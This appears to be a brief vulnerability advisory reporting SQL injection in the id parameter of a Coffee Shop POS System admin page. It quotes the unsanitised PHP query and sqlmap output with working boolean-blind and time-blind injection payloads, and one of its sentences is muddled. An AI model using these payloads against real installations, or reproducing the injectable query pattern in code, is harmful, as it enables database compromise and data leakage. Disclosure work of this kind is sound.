

SQL injection vulnerability exists in id parameter of /admin/products/manage\_product.php file of Coffee Shop POS System

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

```
4 if(isset($_GET['id']) && $_GET['id'] > 0){
5     $qry = $conn->query("SELECT * from `product_list` where id = '{$_GET['id']}' ");
6     if($qry->num_rows > 0){
7         foreach($qry->fetch_assoc() as $k => $v){
8             $$k=$v;
9         }
10    }
11 }
```

sqlmap identified the following injection point(s) with a total of 271 HTTP(s) requests:

```
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1' AND 1968=1968 AND 'Cfyq'='Cfyq

Type: time-based blind
Title: MySQL ≥ 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1' AND (SELECT 9345 FROM (SELECT(SLEEP(5)))NPxs) AND 'NuJb'='NuJb
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Source Download:

<https://www.campcodes.com/projects/php/coffee-shop-pos-system-in-php-mysql/>